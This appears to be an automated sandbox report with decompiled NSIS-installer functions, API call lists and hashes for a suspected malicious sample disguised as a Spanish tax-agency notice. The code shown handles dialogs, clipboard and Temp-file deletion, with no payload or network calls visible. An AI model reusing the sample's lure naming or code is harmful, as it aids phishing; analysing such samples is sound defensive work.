ShowWindow.USER32(00000008), ref: 0040564A
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040567E
CreatePopupMenu.USER32 ref: 0040568F
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056A3
GetWindowRect.USER32(?,?), ref: 004056C3
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056DC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405714
OpenClipboard.USER32(00000000), ref: 00405724
EmptyClipboard.USER32 ref: 0040572A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405736
GlobalLock.KERNEL32(00000000), ref: 00405740
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405754
GlobalUnlock.KERNEL32(00000000), ref: 00405774
SetClipboardData.USER32(0000000D,00000000), ref: 0040577F
CloseClipboard.USER32 ref: 00405785

Strings

{, xrefs: 00405668

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 30a7d57daec831f4458769299bf5029d171b996c011ea2c71c6eb2cb9e30732f
Instruction ID: afdd0f92e7f9204a51c28d187295685e71ab7a2983d4d38ccc6b07981ce020cc
Opcode Fuzzy Hash: 30a7d57daec831f4458769299bf5029d171b996c011ea2c71c6eb2cb9e30732f
Instruction Fuzzy Hash: 6CB16AB1800608FFDB119FA0DD89DAE7B79FB48354F00812AFA45BA1A0CB795E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403D1B Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403D1B(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t70;
				struct HWND__* _t76;
				signed int _t89;
				struct HWND__* _t94;
				signed int _t102;
				int _t106;
				signed int _t118;
				signed int _t119;
				int _t120;
				signed int _t125;
				struct HWND__* _t128;
				struct HWND__* _t129;
				int _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;
				void* _t145;

				_t118 = _a8;
				if(_t118 == 0x110 || _t118 == 0x408) {
					_t37 = _a12;
					_t128 = _a4;
					__eflags = _t118 - 0x110;
					 *0x7a1f08 = _t37;
					if(_t118 == 0x110) {
						 *0x7a8a28 = _t128;
						 *0x7a1f1c = GetDlgItem(_t128, 1);
						_t94 = GetDlgItem(_t128, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x79fee8 = _t94;
						E004041F4(_t128);
						SetClassLongW(_t128, 0xfffffff2,  *0x7a7a08);
						 *0x7a79ec = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x7a1f08 = 1;
					}
					_t125 =  *0x40a368; // 0x0
					_t136 = 0;
					_t133 = (_t125 << 6) +  *0x7a8a60;
					__eflags = _t125;
					if(_t125 < 0) {
						L34:
						E00404240(0x40b);
						while(1) {
							_t39 =  *0x7a1f08;
							 *0x40a368 =  *0x40a368 + _t39;
							_t133 = _t133 + (_t39 << 6);
							_t41 =  *0x40a368; // 0x0
							__eflags = _t41 -  *0x7a8a64;
							if(_t41 ==  *0x7a8a64) {
								E0040140B(1);
							}
							__eflags =  *0x7a79ec - _t136; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x40a368 -  *0x7a8a64; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t119 =  *(_t133 + 0x14);
							E00406281(_t119, _t128, _t133, 0x7b8000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004041F4(_t128);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004041F4(_t128);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004041F4(_t128);
							_t51 = GetDlgItem(_t128, "true");
							__eflags =  *0x7a8acc - _t136;
							_v32 = _t51;
							if( *0x7a8acc != _t136) {
								_t119 = _t119 & 0x0000fefd | 0x00000004;
								__eflags = _t119;
							}
							ShowWindow(_t51, _t119 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100); // executed
							E00404216(_t119 & 0x00000002);
							_t120 = _t119 & 0x00000004;
							EnableWindow( *0x79fee8, _t120);
							__eflags = _t120 - _t136;
							if(_t120 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
							__eflags =  *0x7a8acc - _t136;
							if( *0x7a8acc == _t136) {
								_push( *0x7a1f1c);
							} else {
								SendMessageW(_t128, 0x401, 2, _t136);
								_push( *0x79fee8);
							}
							E00404229();
							E0040625F(0x7a1f20, E00403CFC());
							E00406281(0x7a1f20, _t128, _t133,  &(0x7a1f20[lstrlenW(0x7a1f20)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t128, 0x7a1f20); // executed
							_push(_t136);
							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t70;
							if(_t70 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x7a79f8); // executed
									 *0x7a0ef8 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L58;
									}
									_t76 = CreateDialogParamW( *0x7a8a20,  *_t133 +  *0x7a7a00 & 0x0000ffff, _t128,  *(0x40a36c +  *(_t133 + 4) * 4), _t133); // executed
									__eflags = _t76 - _t136;
									 *0x7a79f8 = _t76;
									if(_t76 == _t136) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004041F4(_t76);
									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t128, _t137 + 0x10);
									SetWindowPos( *0x7a79f8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x7a79ec - _t136; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x7a79f8, 8); // executed
									E00404240(0x405);
									goto L58;
								}
								__eflags =  *0x7a8acc - _t136;
								if( *0x7a8acc != _t136) {
									goto L61;
								}
								__eflags =  *0x7a8ac0 - _t136;
								if( *0x7a8ac0 != _t136) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x7a79f8);
						 *0x7a8a28 = _t136;
						EndDialog(_t128,  *0x7a06f0);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t89;
						if(_t89 == 0) {
							goto L33;
						}
						SendMessageW( *0x7a79f8, 0x40f, 0, 1);
						__eflags =  *0x7a79ec - _t136; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t128 = _a4;
					_t136 = 0;
					if(_t118 == 0x47) {
						SetWindowPos( *0x7a1f00, _t128, 0, 0, 0, 0, 0x13);
					}
					if(_t118 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x7a1f00,  ~(_a12 - 1) & _t118);
					}
					if(_t118 != 0x40d) {
						__eflags = _t118 - 0x11;
						if(_t118 != 0x11) {
							__eflags = _t118 - 0x111;
							if(_t118 != 0x111) {
								L26:
								return E0040425B(_t118, _a12, _a16);
							}
							_t135 = _a12 & 0x0000ffff;
							_t129 = GetDlgItem(_t128, _t135);
							__eflags = _t129 - _t136;
							if(_t129 == _t136) {
								L13:
								__eflags = _t135 - 1;
								if(_t135 != 1) {
									__eflags = _t135 - 3;
									if(_t135 != 3) {
										_t130 = 2;
										__eflags = _t135 - _t130;
										if(_t135 != _t130) {
											L25:
											SendMessageW( *0x7a79f8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x7a8acc - _t136;
										if( *0x7a8acc == _t136) {
											_t102 = E0040140B("true");
											__eflags = _t102;
											if(_t102 != 0) {
												goto L26;
											}
											 *0x7a06f0 = 1;
											L21:
											_push(0x78);
											L22:
											E004041CD();
											goto L26;
										}
										E0040140B(_t130);
										 *0x7a06f0 = _t130;
										goto L21;
									}
									__eflags =  *0x40a368 - _t136; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t135);
								goto L22;
							}
							SendMessageW(_t129, 0xf3, _t136, _t136);
							_t106 = IsWindowEnabled(_t129);
							__eflags = _t106;
							if(_t106 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t128, _t136, _t136);
						return 1;
					} else {
						DestroyWindow( *0x7a79f8);
						 *0x7a79f8 = _a12;
						L58:
						if( *0x7a3f20 == _t136) {
							_t145 =  *0x7a79f8 - _t136; // 0x103ca
							if(_t145 != 0) {
								ShowWindow(_t128, 0xa); // executed
								 *0x7a3f20 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403d24
0x00403d2d
0x00403e6e
0x00403e72
0x00403e76
0x00403e78
0x00403e7d
0x00403e88
0x00403e93
0x00403e98
0x00403e9a
0x00403e9c
0x00403e9f
0x00403ea4
0x00403eb2
0x00403ebf
0x00403ec6
0x00403ec6
0x00403ec7
0x00403ec7
0x00403ecc
0x00403ed2
0x00403ed9
0x00403edf
0x00403ee1
0x00403f21
0x00403f26
0x00403f2b
0x00403f2b
0x00403f30
0x00403f39
0x00403f3b
0x00403f40
0x00403f46
0x00403f4a
0x00403f4a
0x00403f4f
0x00403f55
0x00000000
0x00000000
0x00403f60
0x00403f66
0x00000000
0x00000000
0x00403f6f
0x00403f77
0x00403f7c
0x00403f7f
0x00403f85
0x00403f8a
0x00403f8d
0x00403f93
0x00403f98
0x00403f9b
0x00403fa1
0x00403fa9
0x00403faf
0x00403fb5
0x00403fb9
0x00403fc0
0x00403fc0
0x00403fc0
0x00403fca
0x00403fdc
0x00403fe8
0x00403fed
0x00403ff7
0x00403ffd
0x00403fff
0x00404004
0x00404001
0x00404001
0x00404001
0x00404014
0x0040402c
0x0040402e
0x00404034
0x00404049
0x00404036
0x0040403f
0x00404041
0x00404041
0x0040404f
0x00404060
0x00404076
0x0040407d
0x00404083
0x00404087
0x0040408c
0x0040408e
0x00000000
0x00404094
0x00404094
0x00404096
0x00000000
0x00000000
0x0040409c
0x004040a0
0x004040c5
0x004040cb
0x004040d1
0x004040d3
0x00000000
0x00000000
0x004040f9
0x004040ff
0x00404101
0x00404106
0x00000000
0x00000000
0x0040410c
0x0040410f
0x00404112
0x00404129
0x00404135
0x0040414e
0x00404154
0x00404158
0x0040415d
0x00404163
0x00000000
0x00000000
0x0040416d
0x00404178
0x00000000
0x00404178
0x004040a2
0x004040a8
0x00000000
0x00000000
0x004040ae
0x004040b4
0x00000000
0x00000000
0x00000000
0x004040ba
0x0040408e
0x00404185
0x00404191
0x00404198
0x00000000
0x00403ee3
0x00403ee3
0x00403ee6
0x00403f19
0x00403f19
0x00403f1b
0x00000000
0x00000000
0x00000000
0x00403f1b
0x00403ee8
0x00403eec
0x00403ef1
0x00403ef3
0x00000000
0x00000000
0x00403f03
0x00403f0b
0x00000000
0x00403f11
0x00403d3f
0x00403d3f
0x00403d43
0x00403d48
0x00403d57
0x00403d57
0x00403d60
0x00403d69
0x00403d74
0x00403d74
0x00403d80
0x00403d9c
0x00403d9f
0x00403db2
0x00403db8
0x00403e5b
0x00000000
0x00403e64
0x00403dbe
0x00403dcb
0x00403dcd
0x00403dcf
0x00403dee
0x00403dee
0x00403df1
0x00403df6
0x00403df9
0x00403e09
0x00403e0a
0x00403e0c
0x00403e42
0x00403e55
0x00000000
0x00403e55
0x00403e0e
0x00403e14
0x00403e2d
0x00403e32
0x00403e34
0x00000000
0x00000000
0x00403e36
0x00403e22
0x00403e22
0x00403e24
0x00403e24
0x00000000
0x00403e24
0x00403e17
0x00403e1c
0x00000000
0x00403e1c
0x00403dfb
0x00403e01
0x00000000
0x00000000
0x00403e03
0x00000000
0x00403e03
0x00403df3
0x00000000
0x00403df3
0x00403dd9
0x00403de0
0x00403de6
0x00403de8
0x00000000
0x00000000
0x00000000
0x00403de8
0x00403da4
0x00000000
0x00403d82
0x00403d88
0x00403d92
0x0040419e
0x004041a4
0x004041a6
0x004041ac
0x004041b1
0x004041b7
0x004041b7
0x004041ac
0x004041c1
0x00000000
0x004041c1
0x00403d80

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D57
ShowWindow.USER32(?), ref: 00403D74
DestroyWindow.USER32 ref: 00403D88
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DA4
GetDlgItem.USER32(?,?), ref: 00403DC5
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DD9
IsWindowEnabled.USER32(00000000), ref: 00403DE0
GetDlgItem.USER32(?,00000001), ref: 00403E8E
GetDlgItem.USER32(?,00000002), ref: 00403E98
SetClassLongW.USER32(?,000000F2,?), ref: 00403EB2
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F03
GetDlgItem.USER32(?,?), ref: 00403FA9
ShowWindow.USER32(00000000,?), ref: 00403FCA
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FDC
EnableWindow.USER32(?,?), ref: 00403FF7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040400D
EnableMenuItem.USER32(00000000), ref: 00404014
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040402C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040403F
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404069
SetWindowTextW.USER32(?,007A1F20), ref: 0040407D
ShowWindow.USER32(?,0000000A), ref: 004041B1

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 649012c9a47a07fd18c8bc6662fe0bbcc1ec558a86733eef8b886fae08a17129
Instruction ID: e7c2d8670a20ab778e0eeae1551072eac63d4844406393878d1a707f383ade6f
Opcode Fuzzy Hash: 649012c9a47a07fd18c8bc6662fe0bbcc1ec558a86733eef8b886fae08a17129
Instruction Fuzzy Hash: B6C1CDB1504205AFDB206F61ED88E2B3A68EB96705F00853EF651B51F0CB399982DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040596D Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0040596D(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405C38(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x7a8ac8 =  *0x7a8ac8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040625F(0x7a3f28, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405B7C(_t68);
					} else {
						lstrcatW(0x7a3f28, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x7a3f28,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040625F(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405925(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004052C3(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x7a8ac8 =  *0x7a8ac8 + 1;
										} else {
											E004052C3(0xfffffff1, _t68);
											E00406025(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E0040596D(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x7a3f28 - 0x5c;
					if( *0x7a3f28 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E004065A2(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405B30(_t68);
							_t38 = E00405925(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004052C3(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004052C3(0xfffffff1, _t68);
							return E00406025(_t67, _t68, 0);
						}
						L30:
						 *0x7a8ac8 =  *0x7a8ac8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405977
0x0040597c
0x00405985
0x00405988
0x00405990
0x00405993
0x00405996
0x0040599e
0x004059a0
0x004059a1
0x00000000
0x004059a1
0x004059ac
0x004059af
0x004059af
0x004059af
0x004059b3
0x004059c6
0x004059cd
0x004059d2
0x004059d6
0x004059e6
0x004059d8
0x004059de
0x004059de
0x004059eb
0x004059ef
0x004059fb
0x00405a01
0x00405a06
0x00405a0c
0x00405a17
0x00405a1d
0x00405a1f
0x00405a22
0x00405acc
0x00405acc
0x00405ad0
0x00405ad2
0x00405ad2
0x00405ad2
0x00405ad2
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a28
0x00405a28
0x00405a28
0x00405a30
0x00405a50
0x00405a58
0x00405a5d
0x00405a64
0x00405a7f
0x00405a84
0x00405a86
0x00405aaa
0x00405a88
0x00405a88
0x00405a8b
0x00405a9f
0x00405a8d
0x00405a90
0x00405a98
0x00405a98
0x00405a8b
0x00405a66
0x00405a6c
0x00405a6e
0x00405a74
0x00405a74
0x00405a6e
0x00000000
0x00405a64
0x00405a32
0x00405a3a
0x00000000
0x00000000
0x00405a3c
0x00405a44
0x00000000
0x00000000
0x00405a46
0x00405a4e
0x00000000
0x00000000
0x00000000
0x00405aaf
0x00405ab7
0x00405abd
0x00405abd
0x00405ac6
0x00000000
0x00405ac6
0x004059f1
0x004059f9
0x00000000
0x00000000
0x00000000
0x004059b5
0x004059b5
0x004059b7
0x00405ad7
0x00405ad9
0x00405adc
0x00405b2d
0x00405b2d
0x00405b2d
0x00405ade
0x00405ae1
0x00405aec
0x00405af1
0x00405af3
0x00000000
0x00000000
0x00405af6
0x00405b02
0x00405b07
0x00405b09
0x00000000
0x00405b24
0x00405b0b
0x00405b0e
0x00000000
0x00000000
0x00405b13
0x00000000
0x00405b1a
0x00405ae3
0x00405ae3
0x00000000
0x00405ae3
0x004059bd
0x004059c0
0x00000000
0x00000000
0x00000000
0x004059c0

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405996
lstrcatW.KERNEL32(007A3F28,\*.*), ref: 004059DE
lstrcatW.KERNEL32(?,0040A014), ref: 00405A01
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405A07
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,757F3420,00000000), ref: 00405A17
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AB7
FindClose.KERNEL32(00000000), ref: 00405AC6

Strings

"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 0040596D
C:\Users\user\AppData\Local\Temp\, xrefs: 0040597B
(?z, xrefs: 004059C6
\*.*, xrefs: 004059D8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1703673920
Opcode ID: d19359472b600334dec94491de2483d8e144fed62e712032587100ce902314ed
Instruction ID: bed3c70eefbd60b288d0e49403b05a90b1a02306e0e83ed8d7b57435798b36db
Opcode Fuzzy Hash: d19359472b600334dec94491de2483d8e144fed62e712032587100ce902314ed
Instruction Fuzzy Hash: 4341A430900A14AACF21AB65DC89EAF7678EF46724F10827FF406B11D1D77C5981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 004065A2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065A2(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x7a4f70); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x7a4f70;
			}

0x004065ad
0x004065b6
0x00000000
0x004065c3
0x004065b9
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00405C81,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,?,?,757F3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,757F3420), ref: 004065AD
FindClose.KERNEL32(00000000), ref: 004065B9

Strings

pOz, xrefs: 004065A3
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 004065A2

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
